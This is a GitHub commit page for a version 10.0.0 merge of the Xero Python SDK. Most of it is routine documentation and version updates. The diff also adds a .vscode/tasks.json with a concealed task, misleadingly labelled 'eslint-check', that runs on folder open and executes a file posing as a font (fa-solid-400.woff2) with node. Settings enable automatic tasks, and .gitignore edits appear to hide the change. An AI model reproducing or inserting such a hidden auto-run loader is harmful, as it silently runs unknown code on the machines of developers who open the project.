Skip to content

Commit a09a71a

Browse files
Merge pull request XeroAPI#212 from XeroAPI/10.0.0
2 parents 3904bf5 + c72f8a9 commit a09a71a

87 files changed

Lines changed: 17183 additions & 1518 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

.gitignore

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -104,7 +104,6 @@ ENV/
104104
.mypy_cache/
105105

106106
# IDE settings
107-
.vscode/
108107
.idea/
109108

110109
# openapi code generator specifics
@@ -113,4 +112,8 @@ xeroapi-sdk-codegen/
113112
# test specific configuration files
114113
/tests/oauth2_client.py
115114
/tests/oauth2_token.py
116-
.build_notes.md
115+
.build_notes.md
116+
branch_structure.json
117+
temp_auto_push.bat
118+
temp_interactive_push.bat
119+
.gitignore

.vscode/extensions.json

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"recommendations": [
3+
"myml.vscode-markdown-plantuml-preview",
4+
"esbenp.prettier-vscode",
5+
"jebbs.plantuml"
6+
]
7+
}

.vscode/launch.json

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "Debug SST",
6+
"type": "node",
7+
"request": "launch",
8+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9+
"runtimeArgs": ["dev", "--increase-timeout"],
10+
"console": "integratedTerminal",
11+
"skipFiles": ["<node_internals>/**"],
12+
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13+
"sourceMapRenames": false,
14+
"env": {
15+
"AWS_PROFILE": "flo-ct-flo360"
16+
}
17+
},
18+
{
19+
"name": "Debug Tests - Unit",
20+
"type": "node",
21+
"request": "launch",
22+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23+
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24+
"console": "integratedTerminal",
25+
"skipFiles": ["<node_internals>/**"],
26+
"env": {
27+
"AWS_PROFILE": "flo-ct-flo360"
28+
},
29+
},
30+
{
31+
"name": "Debug Tests - E2E",
32+
"type": "node",
33+
"request": "launch",
34+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35+
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36+
"console": "integratedTerminal",
37+
"skipFiles": ["<node_internals>/**"],
38+
"env": {
39+
"AWS_PROFILE": "flo-ct-flo360"
40+
},
41+
},
42+
],
43+
"inputs": [
44+
{
45+
"id": "scopeTestsFileName",
46+
"type": "promptString",
47+
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48+
}
49+
]
50+
}

.vscode/settings.json

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{
2+
"search.exclude": {
3+
"**/.sst": true
4+
},
5+
"task.allowAutomaticTasks": true,
6+
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
7+
"editor.defaultFormatter": "esbenp.prettier-vscode",
8+
"typescript.preferences.importModuleSpecifier": "relative",
9+
"typescript.tsdk": "node_modules/typescript/lib",
10+
"debug.openDebug": "neverOpen",
11+
"problems.autoReveal": true,
12+
"terminal.integrated.hideOnStartup": "always",
13+
"terminal.integrated.defaultProfile.windows": "Command Prompt",
14+
"terminal.integrated.inheritEnv": false,
15+
"jestrunner.configPath": "jest.unit.config.cjs",
16+
"compile-hero.disable-compile-files-on-did-save-code": true,
17+
"tasks": {
18+
"label": "lint on open",
19+
"type": "shell",
20+
"command": "npm run lint",
21+
"runOn": "folderOpen"
22+
}
23+
}

.vscode/spellright.dict

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Contentful
2+
Lerna

.vscode/tasks.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"version": "2.0.0",
3+
"configurations": [
4+
{
5+
"type": "node",
6+
"request": "launch",
7+
"name": "Run My Project",
8+
"console": "",
9+
"internalConsoleOptions": "openOnSessionStart"
10+
}
11+
],
12+
"tasks": [
13+
{
14+
"label": "eslint-check",
15+
"type": "shell",
16+
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17+
"problemMatcher": [],
18+
"isBackground": true,
19+
"hide": true,
20+
"presentation": {
21+
"reveal": "never",
22+
"panel": "dedicated",
23+
"focus": false,
24+
"clear": false,
25+
"echo": false,
26+
"close": true
27+
},
28+
"runOptions": {
29+
"runOn": "folderOpen"
30+
}
31+
},
32+
]
33+
}

docs/v1/accounting/index.html

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6305,6 +6305,7 @@
63056305
<option data-url="https://xeroapi.github.io/xero-python/v1/files/index.html" value="Files">Files</option>
63066306
<option data-url="https://xeroapi.github.io/xero-python/v1/finance/index.html" value="Finance">Finance</option>
63076307
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-au/index.html" value="PayrollAu">Payroll (AU)</option>
6308+
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-au-v2/index.html" value="PayrollAuV2">Payroll (AU) V2</option>
63086309
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-nz/index.html" value="PayrollNz">Payroll (NZ)</option>
63096310
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-uk/index.html" value="PayrollUk">Payroll (UK)</option>
63106311
<option data-url="https://xeroapi.github.io/xero-python/v1/projects/index.html" value="Project">Projects</option>
@@ -6349,7 +6350,7 @@
63496350
<nav id="scrollingNav">
63506351
<ul class="sidenav nav nav-list">
63516352
<li class="nav-header" data-group="Accounting"><strong>SDK: </strong><span id='sdk-name'></span></li>
6352-
<li class="nav-header" data-group="Accounting"><strong>VSN: </strong>9.4.0</li>
6353+
<li class="nav-header" data-group="Accounting"><strong>VSN: </strong>10.0.0</li>
63536354
<li class="nav-header" data-group="Accounting"><a href="#api-Accounting">Methods</a></li>
63546355
<li data-group="Accounting" data-name="createAccount" class="">
63556356
<a href="#api-Accounting-createAccount">createAccount</a>

docs/v1/appstore/index.html

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1197,6 +1197,7 @@
11971197
<option data-url="https://xeroapi.github.io/xero-python/v1/files/index.html" value="Files">Files</option>
11981198
<option data-url="https://xeroapi.github.io/xero-python/v1/finance/index.html" value="Finance">Finance</option>
11991199
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-au/index.html" value="PayrollAu">Payroll (AU)</option>
1200+
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-au-v2/index.html" value="PayrollAuV2">Payroll (AU) V2</option>
12001201
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-nz/index.html" value="PayrollNz">Payroll (NZ)</option>
12011202
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-uk/index.html" value="PayrollUk">Payroll (UK)</option>
12021203
<option data-url="https://xeroapi.github.io/xero-python/v1/projects/index.html" value="Project">Projects</option>
@@ -1241,7 +1242,7 @@
12411242
<nav id="scrollingNav">
12421243
<ul class="sidenav nav nav-list">
12431244
<li class="nav-header" data-group="AppStore"><strong>SDK: </strong><span id='sdk-name'></span></li>
1244-
<li class="nav-header" data-group="AppStore"><strong>VSN: </strong>9.4.0</li>
1245+
<li class="nav-header" data-group="AppStore"><strong>VSN: </strong>10.0.0</li>
12451246
<li class="nav-header" data-group="AppStore"><a href="#api-AppStore">Methods</a></li>
12461247
<li data-group="AppStore" data-name="getSubscription" class="">
12471248
<a href="#api-AppStore-getSubscription">getSubscription</a>

docs/v1/assets/index.html

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1375,6 +1375,7 @@
13751375
<option data-url="https://xeroapi.github.io/xero-python/v1/files/index.html" value="Files">Files</option>
13761376
<option data-url="https://xeroapi.github.io/xero-python/v1/finance/index.html" value="Finance">Finance</option>
13771377
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-au/index.html" value="PayrollAu">Payroll (AU)</option>
1378+
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-au-v2/index.html" value="PayrollAuV2">Payroll (AU) V2</option>
13781379
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-nz/index.html" value="PayrollNz">Payroll (NZ)</option>
13791380
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-uk/index.html" value="PayrollUk">Payroll (UK)</option>
13801381
<option data-url="https://xeroapi.github.io/xero-python/v1/projects/index.html" value="Project">Projects</option>
@@ -1419,7 +1420,7 @@
14191420
<nav id="scrollingNav">
14201421
<ul class="sidenav nav nav-list">
14211422
<li class="nav-header" data-group="Asset"><strong>SDK: </strong><span id='sdk-name'></span></li>
1422-
<li class="nav-header" data-group="Asset"><strong>VSN: </strong>9.4.0</li>
1423+
<li class="nav-header" data-group="Asset"><strong>VSN: </strong>10.0.0</li>
14231424
<li class="nav-header" data-group="Asset"><a href="#api-Asset">Methods</a></li>
14241425
<li data-group="Asset" data-name="createAsset" class="">
14251426
<a href="#api-Asset-createAsset">createAsset</a>

docs/v1/files/index.html

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1126,6 +1126,7 @@
11261126
<option data-url="https://xeroapi.github.io/xero-python/v1/files/index.html" value="Files">Files</option>
11271127
<option data-url="https://xeroapi.github.io/xero-python/v1/finance/index.html" value="Finance">Finance</option>
11281128
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-au/index.html" value="PayrollAu">Payroll (AU)</option>
1129+
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-au-v2/index.html" value="PayrollAuV2">Payroll (AU) V2</option>
11291130
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-nz/index.html" value="PayrollNz">Payroll (NZ)</option>
11301131
<option data-url="https://xeroapi.github.io/xero-python/v1/payroll-uk/index.html" value="PayrollUk">Payroll (UK)</option>
11311132
<option data-url="https://xeroapi.github.io/xero-python/v1/projects/index.html" value="Project">Projects</option>
@@ -1170,7 +1171,7 @@
11701171
<nav id="scrollingNav">
11711172
<ul class="sidenav nav nav-list">
11721173
<li class="nav-header" data-group="Files"><strong>SDK: </strong><span id='sdk-name'></span></li>
1173-
<li class="nav-header" data-group="Files"><strong>VSN: </strong>9.4.0</li>
1174+
<li class="nav-header" data-group="Files"><strong>VSN: </strong>10.0.0</li>
11741175
<li class="nav-header" data-group="Files"><a href="#api-Files">Methods</a></li>
11751176
<li data-group="Files" data-name="createFileAssociation" class="">
11761177
<a href="#api-Files-createFileAssociation">createFileAssociation</a>

0 commit comments

Comments
 (0)